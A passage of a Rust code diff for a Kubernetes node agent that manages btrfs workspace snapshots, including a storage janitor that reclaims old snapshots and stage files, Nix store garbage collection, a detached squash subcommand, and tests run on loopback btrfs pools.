spawn_janitor(engine.clone(), cfg.pool.clone(), nix_client.clone()); + if cfg.node.is_empty() { + return Err("NODE_NAME is unset: the controller would watch every node's objects".into()); + } + let pin = nix::nixpkgs_pin(); + if pin.is_empty() { + return Err("WS_NIXPKGS is required: the nixpkgs pin every profile on this node is built against".into()); + } + // A branch or a tag would make the same package hash mean different bits on different days, + // which is the one promise the profile hash makes. + if !nix::valid_pin(&pin) { + return Err(format!("WS_NIXPKGS must be github:NixOS/nixpkgs/<40-hex-rev>, not {pin:?}")); + } + if let Err(e) = std::fs::create_dir_all(nix::PROFILES_DIR) { + tracing::warn!(error = %e, "could not create the Nix profiles dir — the daemon container seeds /nix"); + } + // One indirect root over the whole profiles tree: `nix build --no-link` registers none, and + // the publish rename would orphan an out-link's auto-root anyway. + nix::ensure_gcroot(); + // The CRDs must be Established before the watch starts, or it fails at startup and the + // controller sits idle looking healthy. Fail loudly here rather than in production. + let client = kube::Client::try_default().await.map_err(|e| e.to_string())?; + let roles = node_roles(&client, &cfg.node).await; + tracing::info!(node = %cfg.node, ?roles, "node roles"); + let ctx = Arc::new(controller::Ctx::new(client, engine, cfg.node, cfg.pool, cfg.region, roles, nix_client, nix::PROFILES_DIR.into(), Arc::new(sshkeys::SshKeygen))); + controller::run(ctx).await +} + + +/// The roles this node advertises. An unreadable Node object yields no roles, so the agent +/// converges what it already owns and claims nothing new — the safe direction, since the +/// alternative is claiming work for a pool this box may not have. +async fn node_roles(client: &kube::Client, node: &str) -> Vec { + let api: kube::Api = kube::Api::all(client.clone()); + let Ok(Some(n)) = api.get_opt(node).await else { + tracing::warn!(%node, "could not read this node's labels: claiming no unplaced work"); + return vec![]; + }; + let labels = n.metadata.labels.unwrap_or_default(); + let roles: Vec = ["session", "env"] + .into_iter() + .filter(|r| labels.get(&format!("rustic-git.io/{r}")).map(String::as_str) == Some("true")) + .map(str::to_string) + .collect(); + if roles.is_empty() { + // Zero roles means zero claim watches, and an agent with no claim watch looks identical to + // a healthy one from the outside — it just never picks anything up. Say so. + tracing::warn!(%node, "no rustic-git.io/session or /env label: this node claims no unplaced work"); + } + roles +} + +/// Local storage janitor: every ten minutes, reclaims local disk that a +/// pushed history no longer needs. Retention +/// rule: PUSHED history is re-derivable from the registry at any time (blobs are immutable +/// there), so a pushed local snapshot is pure cache — reclaimed once it's neither the tip (the +/// parent `commit_core`'s `btrfs send -p` needs for the NEXT delta) nor the current block-layer +/// base (the snapshot name `Engine::squash_inner`'s graft-after-race logic still looks up by +/// name while a squash is in flight). Unpushed anything is the ONLY local copy of that data and +/// is never touched — this whole function skips any lineage entry still marked `unpushed`. Stage +/// files and block images additionally get an age floor (`SWEEP_MIN_AGE`), because a push in +/// flight has both on disk before any lineage entry names them. +fn spawn_janitor(engine: Arc, pool: String, nix: Arc) { + tokio::spawn(async move { + let mut iv = tokio::time::interval(std::time::Duration::from_secs(600)); + iv.set_missed_tick_behavior(tokio::time::MissedTickBehavior::Delay); + loop { + iv.tick().await; + let voldir = std::path::Path::new(&pool).join("vol"); + let Ok(entries) = std::fs::read_dir(&voldir) else { continue }; + let mut reclaimed = 0usize; + // A blob referenced by ANY volume's still-unpushed lineage entry must survive the + // global stage sweep below, even though the stage dir isn't scoped per volume. + let mut unpushed_blobs = std::collections::HashSet::new(); + for entry in entries.flatten() { + let p = entry.path(); + if !p.is_dir() { + continue; + } + let Some(id) = p.file_name().map(|n| n.to_string_lossy().to_string()) else { continue }; + let lineage = engine.pool.lineage(&id); + unpushed_blobs.extend(lineage.iter().filter(|e| e.unpushed).map(|e| e.blob.clone())); + reclaimed += janitor_volume_snapshots(&engine, &id, &lineage); + } + reclaimed += janitor_sweep_recv(&engine, SWEEP_MIN_AGE); + let staged = janitor_sweep_stage(&engine, &unpushed_blobs, SWEEP_MIN_AGE); + let images = janitor_sweep_images(&engine, SWEEP_MIN_AGE); + if reclaimed > 0 || staged > 0 || images > 0 { + tracing::info!(reclaimed, staged, images, "agent: janitor reclaimed snapshot(s), stray stage file(s), block image(s)"); + } + // The store is a per-node cache; the profile out-links are its only roots, so a GC is + // always safe and the only question is when. Size by `du` of the store dir, best + // effort — a wrong number costs an early or late GC, never data. + // ponytail: du of a 60 GB store every 10 min is real IO; `statvfs` of the /nix + // filesystem is the cheaper signal once /nix is its own mount. + // Both the walk and the GC block for real (minutes, on a big store) — off the shared + // reactor thread via spawn_blocking, or every other task on this process stalls with it. + let nix_for_gc = nix.clone(); + let (used, gc): (u64, Option>) = tokio::task::spawn_blocking(move || { + let used = nix_store_bytes(std::path::Path::new("/nix/store")); + let gc = if used > NIX_GC_HIGH_BYTES { Some(nix_for_gc.collect_garbage()) } else { None }; + (used, gc) + }) + .await + .unwrap_or_else(|e| { + tracing::warn!(error = %e, "agent: the nix store sweep panicked; skipping this beat"); + (0, None) + }); + match gc { + Some(Ok(freed)) => tracing::info!(used, freed, "agent: nix store over threshold, collected garbage"), + Some(Err(e)) => tracing::warn!(error = %e, "agent: nix-collect-garbage failed"), + None => {} + } + } + }); +} + +/// The store size past which the janitor triggers a `nix-collect-garbage` sweep. +const NIX_GC_HIGH_BYTES: u64 = 60 * 1024 * 1024 * 1024; + +/// Recursive size of `root`, best effort: an unreadable entry is skipped rather than failing the +/// whole scan, since a wrong number only costs an early or late GC, never data. Uses +/// `DirEntry::file_type` (an `lstat`, not a `stat`) so it never follows a symlink — `/nix/store` +/// is full of symlinks between store paths, and following them would double-count shared files +/// and could cycle forever on a symlink back up the tree. +fn nix_store_bytes(root: &std::path::Path) -> u64 { + let Ok(entries) = std::fs::read_dir(root) else { return 0 }; + let mut total = 0u64; + for entry in entries.flatten() { + let Ok(ft) = entry.file_type() else { continue }; + if ft.is_dir() { + total += nix_store_bytes(&entry.path()); + } else if ft.is_file() { + total += entry.metadata().map(|m| m.len()).unwrap_or(0); + } + // symlinks: skip — not real bytes owned by this dir, and following one risks a cycle. + } + total +} + +/// Snapshot-reclaim pass for one volume's lineage, split out of `spawn_janitor`'s loop so it can +/// be exercised directly by a test without waiting on the interval. Never touches staged files +/// (that's `janitor_sweep_stage`'s job, done once globally per tick, not per volume). +fn janitor_volume_snapshots(engine: &Engine, id: &str, lineage: &[LineageEntry]) -> usize { + let Some(tip) = lineage.last() else { return 0 }; + let tip_name = tip.snap_name().to_string(); + let block_base = lineage.iter().rev().find(|e| e.kind == LayerKind::Block).map(|e| e.snap_name().to_string()); + // A local-first clone (`Engine::clone_local_snapshot`) copies the source's lineage VERBATIM, + // so a snapshot that's a non-tip, already-pushed entry for THIS volume can still be another + // volume's tip or `btrfs send -p` parent — reclaiming it here would break that sibling's next + // push. Same cross-volume rule `cleanup_local` applies before a delete. + let elsewhere = other_lineage_snap_names(engine, id); + let root = engine.pool.snap_root(id); + let mut reclaimed = 0; + for e in lineage { + if e.unpushed { + continue; + } + let name = e.snap_name(); + if name == tip_name || Some(name) == block_base.as_deref() || elsewhere.contains(name) { + continue; + } + let snap = root.join(name); + if snap.exists() { + btrfs_delete(&snap, id); + reclaimed += 1; + } + } + reclaimed +} + +/// Reclaims `recv/*` subvolumes no lineage on this pool names. `janitor_volume_snapshots` walks +/// lineages, so a snapshot that never made it INTO one — `commit_core` takes it before the send +/// and appends the entry only after — is invisible to it and pins its extents forever after a +/// crash in that window. Age floor as in `janitor_sweep_stage`, for the same reason: a snapshot +/// whose send is still running is exactly such an unnamed one. The subvolume's own creation time, +/// NOT the directory mtime — a snapshot inherits the mtime of the tree it was taken from, which +/// can be months old the moment it is created. Unknown age keeps. +fn janitor_sweep_recv(engine: &Engine, min_age: std::time::Duration) -> usize { + let named = other_lineage_snap_names(engine, ""); + let mut swept = 0; + let Ok(entries) = std::fs::read_dir(engine.pool.recv()) else { return 0 }; + for entry in entries.flatten() { + let p = entry.path(); + let Some(name) = p.file_name().map(|n| n.to_string_lossy().to_string()) else { continue }; + if named.contains(&name) || !subvolume_older_than(&p, min_age) { + continue; + } + btrfs_delete(&p, "recv"); + swept += 1; + } + swept +} + +/// `btrfs subvolume show`'s `Creation time`, compared against `min_age`. Anything that is not a +/// subvolume, or whose age cannot be read, is "not old enough" — the sweep never guesses in the +/// delete direction. +fn subvolume_older_than(p: &std::path::Path, min_age: std::time::Duration) -> bool { + let Ok(out) = std::process::Command::new("btrfs").args(["subvolume", "show"]).arg(p).output() else { return false }; + if !out.status.success() { + return false; + } + let text = String::from_utf8_lossy(&out.stdout); + let Some(line) = text.lines().find(|l| l.trim_start().starts_with("Creation time:")) else { return false }; + let stamp = line.split_once(':').map(|(_, v)| v.trim()).unwrap_or_default(); + let Ok(created) = chrono::DateTime::parse_from_str(stamp, "%Y-%m-%d %H:%M:%S %z") else { return false }; + let age = chrono::Utc::now().signed_duration_since(created); + age.to_std().is_ok_and(|a| a >= min_age) +} + +/// A stage file (and a stray block image) is only ever swept as ORPHAN garbage — a crash leftover +/// — so anything younger than this is presumed to belong to work still in flight and left alone. +/// `Engine::commit_core` writes the staged blob BEFORE appending its `unpushed` lineage entry, and +/// this sweep builds its keep-set from lineage files alone: without the floor, a tick landing in +/// that window deletes the only copy of freshly staged data and the retried push then fails +/// forever on the missing stage file. An age floor rather than `ws_lock`: the stage dir is +/// pool-global while the flock is per-volume (the janitor would have to hold every volume's lock +/// at once), the janitor runs on the shared reactor where a blocking flock stalls every other +/// task, and the lock still wouldn't close the window — the file exists before anything the sweep +/// can observe. Reclaiming an hour late costs disk; reclaiming a second early costs data. +const SWEEP_MIN_AGE: std::time::Duration = std::time::Duration::from_secs(3600); + +/// True when `entry` is younger than `min_age`. An unreadable mtime counts as young: keeping a +/// file costs disk, deleting one costs data — the sweep never guesses in the delete direction. +fn younger_than(entry: &std::fs::DirEntry, min_age: std::time::Duration) -> bool { + entry + .metadata() + .and_then(|m| m.modified()) + .map(|t| t.elapsed().map(|e| e < min_age).unwrap_or(true)) + .unwrap_or(true) +} + +/// Removes any staged layer/meta file (`{blob}.zst`/`{blob}.json` under `Pool::stage_dir`) whose +/// blob id isn't in `keep` and which is older than `min_age` — orphaned by a crash between +/// staging and push clearing it, since a clean push already deletes its own. Global (not +/// per-volume): the stage dir is shared pool state, so `keep` must already be the union across +/// every volume's unpushed entries. +fn janitor_sweep_stage(engine: &Engine, keep: &std::collections::HashSet, min_age: std::time::Duration) -> usize { + let mut swept = 0; + let Ok(entries) = std::fs::read_dir(engine.pool.stage_dir()) else { return 0 }; + for entry in entries.flatten() { + let p = entry.path(); + let Some(stem) = p.file_stem().map(|s| s.to_string_lossy().to_string()) else { continue }; + if keep.contains(&stem) || younger_than(&entry, min_age) { + continue; + } + if std::fs::remove_file(&p).is_ok() { + swept += 1; + } + } + swept +} + +/// Whether `img` is currently backing a loop device — the only state that makes a block image +/// irreplaceable locally (it is the live filesystem under a block-restored voldir). Everything +/// else in `{pool}/img` is re-fetchable from the object store, the same "pushed bytes are pure +/// cache" rule the snapshot sweep already applies. +fn loop_attached(img: &std::path::Path) -> bool { + match std::process::Command::new("losetup").arg("-j").arg(img).output() { + Ok(out) => !out.stdout.is_empty(), + // No losetup, or it failed: assume attached and keep the file. + Err(_) => true, + } +} + +/// Reclaims `{pool}/img/*.img` left behind by a squash that died before its own delete, or by a +/// block-restore whose voldir has since been unmounted. Deliberately NOT keyed on "referenced by +/// a lineage": a squash's block image is referenced by the very lineage it creates and is still +/// disposable the moment its bytes are in the object store, so that rule would reclaim nothing. +/// Age floor as in `janitor_sweep_stage`: a restore streams its image to disk BEFORE mounting it, +/// so a young unattached image is a materialization in flight, not garbage. +fn janitor_sweep_images(engine: &Engine, min_age: std::time::Duration) -> usize { + let mut swept = 0; + let Ok(entries) = std::fs::read_dir(engine.pool.img_dir()) else { return 0 }; + for entry in entries.flatten() { + let p = entry.path(); + if younger_than(&entry, min_age) || loop_attached(&p) { + continue; + } + if std::fs::remove_file(&p).is_ok() { + swept += 1; + } + } + swept +} + +/// `Engine::push`'s detached `squash ` child (`ops.rs`) is spawned with only the +/// workspace id, no owner — so the id -> owner mapping has to be recoverable locally. +/// `MetaStore` has no owner-less lookup (Cosmos partitions by owner), so the controller leaves a +/// breadcrumb on the pool itself, right where the lineage file already lives. +pub fn owner_file(pool: &str, ws_id: &str) -> std::path::PathBuf { + std::path::Path::new(pool).join("vol").join(format!("{ws_id}.owner")) +} + +fn record_owner(pool: &str, id: &str, owner: &str) { + let _ = std::fs::create_dir_all(std::path::Path::new(pool).join("vol")); + let _ = std::fs::write(owner_file(pool, id), owner); +} + +/// Union of every OTHER volume's unpushed lineage blob ids on this pool (excludes `exclude_id` +/// itself) — used by `cleanup_local` to keep a stage file a local-first clone still shares. +fn other_unpushed_blobs(engine: &Engine, exclude_id: &str) -> std::collections::HashSet { + let mut out = std::collections::HashSet::new(); + let Ok(entries) = std::fs::read_dir(engine.pool.root.join("vol")) else { return out }; + for entry in entries.flatten() { + let p = entry.path(); + if !p.is_dir() { + continue; + } + let Some(id) = p.file_name().map(|n| n.to_string_lossy().to_string()) else { continue }; + if id == exclude_id { + continue; + } + out.extend(engine.pool.lineage(&id).into_iter().filter(|e| e.unpushed).map(|e| e.blob)); + } + out +} + +/// Every OTHER volume's lineage snap names on this pool (excludes `exclude_id` itself, every +/// entry not just unpushed ones) — a local-first clone (`Engine::clone_local_snapshot`) copies +/// the source's lineage VERBATIM, so `recv/{snap}` can be the source's tip/parent AND a clone's +/// own tip/parent at once; both `cleanup_local` (deleting the source must not strip a snapshot +/// a clone still needs) and the janitor's snapshot sweep (reclaiming one volume's non-tip +/// history must not strip another volume's tip/parent) key off this before deleting anything. +/// ponytail: one `vol/` scan per caller, same O(n) cost class as `other_unpushed_blobs`; fine at +/// expected per-pool volume counts. +fn other_lineage_snap_names(engine: &Engine, exclude_id: &str) -> std::collections::HashSet { + let mut out = std::collections::HashSet::new(); + let Ok(entries) = std::fs::read_dir(engine.pool.root.join("vol")) else { return out }; + for entry in entries.flatten() { + let p = entry.path(); + if !p.is_dir() { + continue; + } + let Some(id) = p.file_name().map(|n| n.to_string_lossy().to_string()) else { continue }; + if id == exclude_id { + continue; + } + out.extend(engine.pool.lineage(&id).iter().map(|e| e.snap_name().to_string())); + } + out +} + +/// Full local reclaim for a deleted workspace/environment: the live subvolume, every RO snapshot +/// its local lineage names, staged (still-unpushed) layer/meta files, the pool's own +/// `.lineage`/`.owner`/`.lock`/`.squash-err` bookkeeping, and finally the `{pool}/vol/{id}` +/// directory itself. Registry/blob bytes are NEVER touched here — blobs are immutable and shared +/// across siblings (a clone's history references the same blob ids), deleted only by an explicit +/// blob-delete path or GC, never by a workspace/environment delete. Best-effort throughout +/// (eprintln, never fails): a retried delete must still finish even if a prior attempt got +/// partway through. +fn cleanup_local(engine: &Engine, id: &str) { + let lineage = engine.pool.lineage(id); + let root = engine.pool.snap_root(id); + let live = engine.pool.live(id); + if live.exists() { + btrfs_delete(&live, id); + } + // A local-first clone (`Engine::clone_local`) shares its inherited unpushed entries' staged + // files with the source by blob id (`Pool::stage_dir` is pool-global) rather than copying + // them — deleting the source must not strip a stage file a sibling clone still needs to push. + // Same scan `spawn_janitor`'s stage sweep uses, just excluding this volume (being deleted) + // from the "still referenced" set. + let elsewhere = other_unpushed_blobs(engine, id); + // Same sharing, one level up: `clone_local_snapshot` copies the source's lineage VERBATIM, + // so `recv/{snap}` can be BOTH this volume's own history AND a clone's tip/parent at once — + // deleting it here would leave the clone's next push sending `-p` against a snapshot that no + // longer exists (the real bug this scan closes). + let elsewhere_snaps = other_lineage_snap_names(engine, id); + for e in &lineage { + let snap = root.join(e.snap_name()); + if snap.exists() && !elsewhere_snaps.contains(e.snap_name()) { + btrfs_delete(&snap, id); + } + if e.unpushed && !elsewhere.contains(&e.blob) { + let _ = std::fs::remove_file(engine.pool.stage_path(&e.blob)); + let _ = std::fs::remove_file(engine.pool.stage_meta_path(&e.blob)); + } + } + let vol_root = engine.pool.root.join("vol"); + for ext in ["lineage", "owner", "lock", "squash-err"] { + let _ = std::fs::remove_file(vol_root.join(format!("{id}.{ext}"))); + } + let voldir = engine.pool.voldir(id); + // A block-restored workspace's voldir is itself a loop mount (see `Pool::snap_root`'s doc) — + // unmount before rmdir, else the directory is busy and never goes away. + if rustic_git_workspaces::engine::is_mountpoint(&voldir) { + let _ = std::process::Command::new("umount").arg(&voldir).output(); + } + if let Err(e) = std::fs::remove_dir_all(&voldir) { + if e.kind() != std::io::ErrorKind::NotFound { + tracing::warn!(%id, path = %voldir.display(), error = %e, "agent: cleanup: remove"); + } + } +} + +fn btrfs_delete(path: &std::path::Path, id: &str) { + match std::process::Command::new("btrfs").args(["subvolume", "delete", path.to_str().unwrap()]).output() { + Ok(out) if out.status.success() => {} + Ok(out) => tracing::warn!( + %id, + path = %path.display(), + stderr = %String::from_utf8_lossy(&out.stderr), + "agent: cleanup: btrfs subvolume delete" + ), + Err(e) => tracing::warn!(%id, path = %path.display(), error = %e, "agent: cleanup: btrfs subvolume delete"), + } +} + +/// `stop`/`start` by exact container name — distinct from `container::stop`, which derives the +#[cfg(test)] +mod janitor_tests { + use super::*; + use rustic_git_workspaces::engine::have_btrfs; + use rustic_git_workspaces::store::MemStore; + + /// Mirrors `crates/workspaces/tests/engine_pool.rs`'s `LoopbackPool`: a truncated sparse + /// btrfs image, mounted for the test and unmounted on drop. + struct LoopbackPool { + pool: Pool, + mount: std::path::PathBuf, + _tmp: tempfile::TempDir, + } + impl LoopbackPool { + fn new() -> LoopbackPool { + let tmp = tempfile::tempdir().unwrap(); + let img = tmp.path().join("pool.img"); + let mount = tmp.path().join("mnt"); + std::fs::create_dir_all(&mount).unwrap(); + run(&["truncate", "-s", "1G", img.to_str().unwrap()]); + run(&["mkfs.btrfs", "-q", img.to_str().unwrap()]); + run(&["mount", "-o", "loop", img.to_str().unwrap(), mount.to_str().unwrap()]); + let pool = Pool::new(mount.clone()); + std::fs::create_dir_all(pool.recv()).unwrap(); + std::fs::create_dir_all(pool.root.join("vol")).unwrap(); + LoopbackPool { pool, mount, _tmp: tmp } + } + } + impl Drop for LoopbackPool { + fn drop(&mut self) { + let _ = std::process::Command::new("umount").arg(&self.mount).status(); + } + } + fn run(argv: &[&str]) { + let st = std::process::Command::new(argv[0]).args(&argv[1..]).status().unwrap(); + assert!(st.success(), "{argv:?} failed"); + } + + fn bare_engine(pool_root: std::path::PathBuf) -> Engine { + Engine::new( + Pool::new(pool_root), + std::sync::Arc::new(object_store::memory::InMemory::new()), + std::sync::Arc::new(MemStore::new()), + rustic_git_workspaces::registry_client::RegistryClient::new("http://127.0.0.1:1", "unused"), + ) + } + + /// The H6b race, reproduced without btrfs: `commit_core` has written the staged blob but not + /// yet appended its lineage entry, so the keep-set legitimately does not name it. A janitor + /// tick in that window must not delete the only copy of that data. + #[test] + fn stage_sweep_spares_a_file_staged_seconds_ago_with_no_lineage_entry_yet() { + let tmp = tempfile::tempdir().unwrap(); + let engine = bare_engine(tmp.path().to_path_buf()); + std::fs::create_dir_all(engine.pool.stage_dir()).unwrap(); + std::fs::write(engine.pool.stage_path("mid-push"), b"layer bytes").unwrap(); + std::fs::write(engine.pool.stage_meta_path("mid-push"), b"{}").unwrap(); + + let keep = std::collections::HashSet::new(); + assert_eq!(janitor_sweep_stage(&engine, &keep, SWEEP_MIN_AGE), 0, "a young stage file is presumed live"); + assert!(engine.pool.stage_path("mid-push").exists()); + assert!(engine.pool.stage_meta_path("mid-push").exists()); + } + + /// The other half of the contract: past the floor, a genuine orphan is still reclaimed. + #[test] + fn stage_sweep_still_reclaims_an_old_orphan() { + let tmp = tempfile::tempdir().unwrap(); + let engine = bare_engine(tmp.path().to_path_buf()); + std::fs::create_dir_all(engine.pool.stage_dir()).unwrap(); + let p = engine.pool.stage_path("crashed-push"); + std::fs::write(&p, b"orphan").unwrap(); + + assert_eq!(janitor_sweep_stage(&engine, &std::collections::HashSet::new(), std::time::Duration::ZERO), 1); + assert!(!p.exists()); + } + + /// Crash simulation for the two data-loss paths together: an empty `.lineage` (what a + /// truncate-then-write crash used to leave) yields an empty keep-set, and the sweep must + /// STILL not delete the staged blobs that lineage was supposed to name. + #[test] + fn an_empty_lineage_file_does_not_let_the_sweep_delete_staged_blobs() { + let tmp = tempfile::tempdir().unwrap(); + let engine = bare_engine(tmp.path().to_path_buf()); + std::fs::create_dir_all(engine.pool.root.join("vol").join("v1")).unwrap(); + std::fs::write(engine.pool.root.join("vol").join("v1.lineage"), b"").unwrap(); + std::fs::create_dir_all(engine.pool.stage_dir()).unwrap(); + std::fs::write(engine.pool.stage_path("b1"), b"only copy").unwrap(); + + let keep: std::collections::HashSet = + engine.pool.lineage("v1").iter().filter(|e| e.unpushed).map(|e| e.blob.clone()).collect(); + assert!(keep.is_empty(), "a truncated lineage really does yield an empty keep-set"); + assert_eq!(janitor_sweep_stage(&engine, &keep, SWEEP_MIN_AGE), 0); + assert!(engine.pool.stage_path("b1").exists(), "unpushed data survives a truncated lineage"); + } + + /// `losetup` doesn't exist on this Mac, so `loop_attached` fails closed (keeps everything) — + /// which is exactly the behaviour worth freezing on the delete-safety side. The age floor is + /// tested on its own, since it is the half that decides on Linux too. + #[test] + fn image_sweep_keeps_young_images_and_reclaims_old_unattached_ones() { + let tmp = tempfile::tempdir().unwrap(); + let engine = bare_engine(tmp.path().to_path_buf()); + std::fs::create_dir_all(engine.pool.img_dir()).unwrap(); + let img = engine.pool.img("blob-1"); + std::fs::write(&img, b"image bytes").unwrap(); + + assert_eq!(janitor_sweep_images(&engine, SWEEP_MIN_AGE), 0, "a young image is a restore in flight"); + assert!(img.exists()); + + // Past the floor: reclaimed unless something still has it looped. + let swept = janitor_sweep_images(&engine, std::time::Duration::ZERO); + if loop_attached(&img) { + assert_eq!(swept, 0, "an attached (or unprobeable) image is never deleted"); + assert!(img.exists()); + } else { + assert_eq!(swept, 1); + assert!(!img.exists()); + } + } + + /// Q-37's other half: a snapshot `commit_core` took and then crashed before naming is in no + /// lineage, so only a sweep of `recv/` itself finds it. The floor is the subvolume's own age — + /// a snapshot inherits its tree's mtime, which proves nothing about when it was taken. + #[test] + fn recv_sweep_reclaims_only_old_snapshots_no_lineage_names() { + if !have_btrfs() { + eprintln!("skipping: btrfs unavailable or not root"); + return; + } + let lp = LoopbackPool::new(); + for s in ["named", "orphan"] { + run(&["btrfs", "subvolume", "create", lp.pool.recv().join(s).to_str().unwrap()]); + } + std::fs::create_dir_all(lp.pool.voldir("vol-recv-1")).unwrap(); + lp.pool.set_lineage("vol-recv-1", &[stream_entry("named", false)]).unwrap(); + let engine = bare_engine(lp.pool.root.clone()); + + assert_eq!(janitor_sweep_recv(&engine, SWEEP_MIN_AGE), 0, "a young orphan is a send in flight"); + assert!(lp.pool.recv().join("orphan").exists()); + + assert_eq!(janitor_sweep_recv(&engine, std::time::Duration::ZERO), 1); + assert!(!lp.pool.recv().join("orphan").exists()); + assert!(lp.pool.recv().join("named").exists(), "a snapshot any lineage names is never touched"); + } + + fn stream_entry(blob: &str, unpushed: bool) -> LineageEntry { + LineageEntry { kind: LayerKind::Stream, blob: blob.into(), snap: None, sha256: "sha".into(), unpushed } + } + + #[test] + fn keeps_only_tip_and_unpushed_reclaims_the_rest() { + if !have_btrfs() { + eprintln!("skipping: btrfs unavailable or not root"); + return; + } + let lp = LoopbackPool::new(); + for s in ["s1", "s2", "s3", "s4"] { + run(&["btrfs", "subvolume", "create", lp.pool.recv().join(s).to_str().unwrap()]); + } + let id = "vol-janitor-1"; + // 3 pushed commits, then a 4th still-unpushed one (the current tip). + let lineage = vec![stream_entry("s1", false), stream_entry("s2", false), stream_entry("s3", false), stream_entry("s4", true)]; + lp.pool.set_lineage(id, &lineage).unwrap(); + std::fs::create_dir_all(lp.pool.stage_dir()).unwrap(); + std::fs::write(lp.pool.stage_meta_path("s4"), b"{}").unwrap(); + + let engine = Engine::new( + Pool::new(lp.pool.root.clone()), + std::sync::Arc::new(object_store::memory::InMemory::new()), + std::sync::Arc::new(MemStore::new()), + rustic_git_workspaces::registry_client::RegistryClient::new("http://127.0.0.1:1", "unused"), + ); + let reclaimed = janitor_volume_snapshots(&engine, id, &lineage); + assert_eq!(reclaimed, 3, "the 3 pushed non-tip snapshots must be reclaimed"); + + assert!(!lp.pool.recv().join("s1").exists()); + assert!(!lp.pool.recv().join("s2").exists()); + assert!(!lp.pool.recv().join("s3").exists()); + assert!(lp.pool.recv().join("s4").exists(), "the unpushed tip must never be touched"); + assert!(lp.pool.stage_meta_path("s4").exists(), "unpushed stage files must be left intact"); + } +} + +#[cfg(test)] +mod nix_gc_tests { + use super::*; + + #[test] + fn the_store_walk_does_not_follow_symlinks_and_terminates() { + let tmp = tempfile::tempdir().unwrap(); + let root = tmp.path(); + let nested = root.join("nested"); + std::fs::create_dir(&nested).unwrap(); + std::fs::write(nested.join("f"), vec![0u8; 100]).unwrap(); + // A symlink back up at the root — following it would double-count `f` and, on a deeper + // tree, cycle forever. + std::os::unix::fs::symlink(root, nested.join("up")).unwrap(); + assert_eq!(nix_store_bytes(root), 100); + } +} diff --git a/bins/agent/src/main.rs b/bins/agent/src/main.rs new file mode 100644 index 00000000..f40c8757 --- /dev/null +++ b/bins/agent/src/main.rs @@ -0,0 +1,72 @@ +//! `rustic-git-agent`: the fleet-side process that materializes workspaces on local btrfs. +//! +//! `run` boots the node-scoped controller (`controller.rs`), which watches the CRDs bound to this +//! node and converges the local btrfs pool and its pods. The hidden `squash ` subcommand is +//! what `Engine::push` detaches via `std::env::current_exe` to build a block layer in the +//! background — running it, this binary IS `current_exe`, so that spawn now actually resolves +//! to a real process in production (previously nothing installed `current_exe` with a `squash` +//! arm). Its stdio is nulled (`ops.rs`'s `Stdio::null()`), so a failure also lands in +//! `{pool}/vol/{id}.squash-err` — otherwise it vanishes with no trace at all. + +use rustic_git_agent::{build_engine, meta_store_from_env, owner_file, run, Config}; +use rustic_git_workspaces::engine::migrate_ws_to_vol; + +#[tokio::main] +async fn main() { + rustic_git_core::log::init(); + // Exactly one rustls CryptoProvider must be installed before the FIRST TLS handshake, which + // for this binary is the kube client connecting to the API server. Its absence is not a + // connection error — it is a panic in rustls that names nothing about kube or startup order. + // The same omission crash-looped the api binary once; see the helper's own doc comment. + rustic_git_storage::config::install_crypto_provider(); + + let args: Vec = std::env::args().skip(1).collect(); + // One-time pool layout upgrade: `ws` was a misnomer (environments live there too, and it + // didn't match the registry's `vol/{owner}/{id}` naming) — see `pool::migrate_ws_to_vol`. + migrate_ws_to_vol(std::path::Path::new(&Config::from_env().pool)); + let result = match args.first().map(String::as_str) { + Some("squash") => match args.get(1) { + Some(id) => squash(id).await, + // CLI output, not a log line: this is a person mistyping the command at a + // terminal, and RUST_LOG must not be able to suppress their usage text. + None => { + eprintln!("usage: rustic-git-agent squash "); + std::process::exit(2); + } + }, + _ => { + rustic_git_core::metrics::init(); + rustic_git_core::metrics::serve_if_configured().await; + run(Config::from_env()).await + } + }; + if let Err(e) = result { + tracing::error!("{e}"); + std::process::exit(1); + } +} + +async fn squash(ws_id: &str) -> Result<(), String> { + let cfg = Config::from_env(); + let meta = meta_store_from_env().await?; + let engine = build_engine(&cfg.pool, meta.clone(), &cfg.api_url, &cfg.agent_token); + // `Engine::push` spawns this with only the workspace id (`ops.rs`'s detached child) — the + // owner it needs was left on the pool by the volume reconcile when it materialized this + // volume (see `owner_file`'s doc comment). + let path = owner_file(&cfg.pool, ws_id); + let owner = std::fs::read_to_string(&path) + .map(|s| s.trim().to_string()) + .map_err(|_| format!("squash {ws_id}: no {}", path.display()))?; + // No live_state: it lives on the CRD, and this detached child talks to no API server. It + // only lands in the squashed layer's stage metadata, which the next push overwrites anyway. + if let Err(e) = engine.squash(&owner, ws_id, serde_json::Value::Null).await { + let msg = e.to_string(); + // CLI output: when a person runs `squash` by hand this is their only feedback, and + // RUST_LOG must not be able to suppress it. Detached (`ops.rs`), stdio is nulled and it + // is lost anyway — the file written below is the real trace for that path. + eprintln!("squash {ws_id}: {msg}"); + let _ = std::fs::write(std::path::Path::new(&cfg.pool).join("vol").join(format!("{ws_id}.squash-err")), &msg); + return Err(msg); + } + Ok(()) +} diff --git a/bins/agent/src/nix.rs b/bins/agent/src/nix.rs new file mode 100644 index 00000000..dce51685 --- /dev/null +++ b/bins/agent/src/nix.rs @@ -0,0 +1,348 @@ +//! The agent's one Nix client: builds a workspace's profile through the host daemon, publishes it +//! by rename, and collects garbage. Behind a trait so the reconciler is tested with a fake — a +//! real `nix` needs a daemon and a store, which a unit test must not. +//! +//! The binary comes from the HOST store (`/nix/var/nix/profiles/default/bin`, seeded by the +//! DaemonSet's init container from the `nixos/nix` image), not from the agent image: a `nix` that +//! lives outside the store it talks to cannot exist, and shipping a second store just to hold the +//! client is what the seed step avoids. + +use std::path::{Path, PathBuf}; +use std::process::{Command, Stdio}; +use std::time::Duration; + +pub const PROFILES_DIR: &str = "/nix/var/rustic/profiles"; +const DEFAULT_TIMEOUT_SECS: u64 = 1200; + +// The root is always passed in (`Ctx::profiles_dir`) rather than read from a global: a process-wide +// override is a test that can reach the node's real /nix, and one that races every other test. +// +// A workspace's profile is a DIRECTORY holding `current` (and, mid-build, `current.building`), not +// a bare link: the pod mounts the directory by subPath, and the kubelet resolves a subPath ONCE at +// container start — a subPath that IS the link would freeze the pod on the profile it started +// with, so the live swap has to happen one level below what is mounted. +pub fn profile_dir(root: &Path, id: &str) -> PathBuf { root.join(id) } +pub fn profile_path(root: &Path, id: &str) -> PathBuf { profile_dir(root, id).join("current") } +pub fn building_path(root: &Path, id: &str) -> PathBuf { profile_dir(root, id).join("current.building") } + +/// The one GC root for every profile on this node: an indirect root under `gcroots`, pointing at +/// the profiles dir. `nix build --no-link` registers nothing, and the auto-root a `-o` out-link +/// gets is orphaned the moment we rename over it — without this 